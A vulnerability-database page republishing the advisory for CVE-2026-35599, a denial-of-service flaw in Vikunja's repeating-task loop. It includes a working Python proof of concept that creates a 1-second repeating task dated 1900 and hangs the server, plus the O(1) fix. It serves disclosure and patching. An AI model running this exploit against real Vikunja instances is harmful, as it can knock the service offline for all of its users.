Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-35599 — vikunja

🟡 CVSS 6.5 — Medium ✅ No Known Exploit CWE-407 NVD
6.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Vikunja has Algorithmic Complexity DoS in Repeating Task Handler

Summary

The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.

Details

The vulnerable function at pkg/models/tasks.go:1456-1464:

```go

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {

for {

t = t.Add(duration)

if t.After(now) {

break

}

}

return t

}

```

The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeat_after=1 and due_date=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).

Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.

Proof of Concept

Tested on Vikunja v2.2.2.

```python

import requests, time

TARGET = "http://localhost:3456"

API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",

json={"username": "user1", "password": "User1pass!"}).json()["token"]

h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()

# create task with repeat_after=1 second and a date far in the past

task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h,

json={"title": "DoS", "repeat_after": 1,

"due_date": "1900-01-01T00:00:00Z"}).json()

# mark done - triggers the vulnerable loop

start = time.time()

try:

r = requests.post(f"{API}/tasks/{task['id']}", headers=h,

json={"title": "DoS", "done": True}, timeout=120)

print(f"Response: {r.status_code} in {time.time()-start:.1f}s")

except requests.exceptions.Timeout:

print(f"TIMEOUT after {time.time()-start:.1f}s")

```

Output:

```

TIMEOUT after 60.0s

```

The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, due_date=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.

Impact

Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.

Recommended Fix

Replace the O(n) loop with O(1) arithmetic:

```go

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {

if duration <= 0 {

return t

}

diff := now.Sub(t)

if diff <= 0 {

return t.Add(duration)

}

intervals := int64(diff/duration) + 1

return t.Add(time.Duration(intervals) * duration)

}

```

*Found and reported by [aisafe.io](https://aisafe.io)*

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-35599 is classified as CWE-407: Inefficient Algorithmic Complexity. Crafted input drives an algorithm into its worst case, so a small request costs disproportionate work.

Affected software

CVE-2026-35599 is recorded against 2 packages.

  • code.vikunja.io/api
  • vikunja (fixed in 2.3.0)

Timeline and source

Published on 10 April 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-407: Inefficient Algorithmic Complexity) in other software:

Details

Severity Medium
CVSS Score 6.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-407
Public Exploit ✅ No
Source NVD
Published 2026-04-10
Updated 2026-08-20
Modified 2026-06-25

Affected Packages

Software From version Fixed in
code.vikunja.io/api
vikunja 2.3.0

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in vikunja

CVE-2026-35599 is rated CVSS 6.5 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026